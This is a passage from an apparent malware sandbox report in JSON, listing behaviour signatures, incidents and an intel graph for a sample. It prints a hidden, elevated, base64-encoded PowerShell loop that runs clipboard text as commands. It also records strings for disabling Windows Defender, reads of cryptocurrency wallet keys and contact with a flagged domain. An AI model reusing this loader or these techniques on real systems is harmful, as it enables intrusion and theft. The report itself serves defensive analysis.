\"Rename-ItemProperty\" (Indicator: \"Rename-ItemProperty\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.003","relevance":1,"id":"string-381","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004512.00000002.287521.00180000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00002716.00000000.284251.ECD80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"2716\" - (UID: 00000000-00002716)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"3064\" - (UID: 00000000-00003064)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2936\" - (UID: 00000000-00002936)\n \"powershell.exe\" called \"IsWow64Process\" (UID: 00000000-00007872)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to add modules to the current session (Powershell command string)","description":"Found string \"Import-Module\" (Indicator: \"Import-Module\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-348","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to call WMI method (Powershell command string)","description":"Found string \"Invoke-WMIMethod\" (Indicator: \"Invoke-WmiMethod\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-296","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to run commands (Powershell command string)","description":"Found string \"Invoke-Command\" (Indicator: \"Invoke-Command\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-287","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"[Parameter(ParameterSetName='ShowWindow', Mandatory=$true)]\" (Indicator: \"ShowWindow\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found reference to API \"${ShowWindow})\" (Indicator: \"ShowWindow\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Contains ability to start services (Powershell command string)","description":"Found string \"Start-Service\" (Indicator: \"Start-Service\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-332","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"24674280c92d5f820.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 755A0000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$64","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/update instances of WMI classes (Powershell command string)","description":"Found string \"Set-WMIInstance\" (Indicator: \"Set-WmiInstance\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1546.003","relevance":1,"id":"string-336","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to background jobs (Powershell command string)","description":"Found string \"Get-Job\" (Indicator: \"Get-Job\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Receive-Job\" (Indicator: \"Receive-Job\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Remove-Job\" (Indicator: \"Remove-Job\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Stop-Job\" (Indicator: \"Stop-Job\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Wait-Job\" (Indicator: \"Wait-Job\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Resume-Job\" (Indicator: \"Resume-Job\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Start-Job\" (Indicator: \"Start-Job\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Debug-Job\" (Indicator: \"Debug-Job\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1197","relevance":1,"id":"string-375","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy items (Powershell command string)","description":"Found string \"Copy-ItemProperty\" (Indicator: \"Copy-ItemProperty\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-377","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"Invoke-WebRequest\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to interact with Microsoft Outlook","description":"Observed string: \"Microsoft.Office.Interop.Outlook\" [Source: 00000000-00002936.00000000.288754.523D0000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-196","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to move items (Powershell command string)","description":"Found string \"Move-ItemProperty\" (Indicator: \"Move-ItemProperty\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-378","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"curl\" (Indicator: \"curl\") in Source: 00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Remote Access Related","name":"Able to modify Remote Configuration","description":"Found string \"Flags = \"Assertion\n UnmanagedCode\n Execution\n ControlThread\n ControlEvidence\n ControlPolicy\n ControlAppDomain\n SerializationFormatter\n ControlDomainPolicy\n ControlPrincipal\n RemotingConfiguration\n Infrastructure\n BindingRedirects\" />\" (Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-940","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$65","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access system credential hash file","description":"Found string \"componenthashtableentry\" (Indicator: \"nthash\"; Source: \"00000000-00002716.00000001.285026.EF9E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003.002","relevance":1,"id":"string-867","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve security-related event logs (PowerShell command string)","description":"Found string \"PowerShell -Command {Get-EventLog -LogName security}\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"PowerShell -Command \"& {Get-EventLog -LogName security}\"\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1654","relevance":1,"id":"string-647","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00002716)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003064)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00002936)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"where the quotation marks indicate a string and the invoke operator (&)\" (Indicator: \"where \"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002716.00000000.284251.60E82000.00000002.mdmp\")\n Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002936.00000001.289211.699F2000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"Set-ItemProperty\" (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete a property and its value from an item (Powershell command string)","description":"Found string \"Remove-Module\" (Indicator: \"Remove-Module\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Remove-PSBreakpoint\" (Indicator: \"Remove-PSBreakpoint\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Remove-Variable\" (Indicator: \"Remove-Variable\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Remove-PSDrive\" (Indicator: \"Remove-PSDrive\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Remove-ItemProperty\" (Indicator: \"Remove-ItemProperty\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Remove-PSSnapin\" (Indicator: \"Remove-PSSnapin\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Remove-WMIObject\" (Indicator: \"Remove-WmiObject\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-369","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00002716.00000000.284251.60E82000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00002716.00000000.284251.60E82000.00000002.mdmp\")\n Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00002936.00000001.289211.699F2000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00002936.00000001.289211.699F2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to retrieve credential objects (Powershell command string)","description":"Found string \"Get-Credential\" (Indicator: \"Get-Credential\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003","relevance":1,"id":"string-340","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop a service (Powershell command string)","description":"Found string \"Stop-Service\" (Indicator: \"Stop-Service\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-274","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate services/features (Powershell command string)","description":"Found string \"Disable-PSBreakpoint\" (Indicator: \"Disable-PSBreakpoint\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Stop-Process\" (Indicator: \"Stop-Process\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Disable-PSRemoting\" (Indicator: \"Disable-PSRemoting\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-371","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"Found string \"Out-Default\" (Indicator: \"Out-Default\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Out-String\" (Indicator: \"Out-String\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \".ForwardHelpTargetName Out-String\" (Indicator: \"Out-String\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Out-File\" (Indicator: \"Out-File\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Out-Null\" (Indicator: \"Out-Null\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Out-Host\" (Indicator: \"Out-Host\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Out-GridView\" (Indicator: \"Out-GridView\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Out-Printer\" (Indicator: \"Out-Printer\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to run commands from session history (Powershell command string)","description":"Found string \"Invoke-History\" (Indicator: \"Invoke-History\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-347","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Able to obtain instances of WMI classes using PowerShell","description":"Found string \"Get-WmiObject\" (Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-696","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"powershell.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"42010522\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"24674280c92d5f820.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"5501087e\"\n \"cx\": \"1280\"\n \"cy\": \"1024\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":5,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find a SID for the specified name","description":"\"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"37zw420\"\n \"Sid\": \"1523991658232\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"37zw420\"\n \"Sid\": \"2150117813712\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"37zw420\"\n \"Sid\": \"2333587406152\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}","origin":"API Call","mitre_attack_id":"T1087","relevance":2,"id":"api-189","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00002716)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00002716)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00003064)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00003064)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Read windows product name from registry","description":"\"24674280c92d5f820.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-105","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads cryptocurrency-related registry keys","description":"\"24674280c92d5f820.exe\" (Path: \"HKCU\\SOFTWARE\\BITCOIN\\BITCOIN-QT\")\n \"24674280c92d5f820.exe\" (Path: \"HKCU\\SOFTWARE\\LITECOIN\\LITECOIN-QT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-197","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to sleep using powershell","description":"Process \"powershell.exe\" with commandline \"-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A\" (UID: 00000000-00007872)","origin":"Monitored Target","mitre_attack_id":"T1497.003","relevance":5,"id":"target-250","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Uses powershell to execute new process","description":"Process \"powershell.exe\" with commandline \"-Command \"Start-Process powershell -WindowStyle Hidden -ArgumentList '-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A' -Verb RunAs\"\" (UID: 00000000-00003064)","origin":"Monitored Target","mitre_attack_id":"T1543","relevance":5,"id":"target-249","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pof5e5ms.0vd.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_mv0vyavw.v5n.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_zaiidnyr.mf3.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_yeatyzmd.hfd.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_sjny4pee.5r4.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_4mb2jqm3.5ds.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"probable-winner.info\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}],"intel_graph":{"map":{"Domain:6125d14467e19c0f06fd258c07b6f36470fab920c06c416e24892deade23e6ae":{"type":"Domain","value":"pastebin.com","verdict":{"verdict":"clean","verdict_source":"domain reputation data","reasons":["reported clean domain"]}},"Domain:gitlab.com":{"type":"Domain","value":"gitlab.com"},"Domain:probable-winner.info":{"type":"Domain","value":"probable-winner.info"},"Domain:secure-signal.info":{"type":"Domain","value":"secure-signal.info"},"Domain:t.me":{"type":"Domain","value":"t.me"},"File:1f4a783b2d31168b1d2746c43169bf538fb882f8898a9c7e611f827dd31d52c9":{"type":"File","value":"1f4a783b2d31168b1d2746c43169bf538fb882f8898a9c7e611f827dd31d52c9"},"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a":{"type":"File","value":"6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","filetype":"PE32+ executable (console) x86-64, for MS 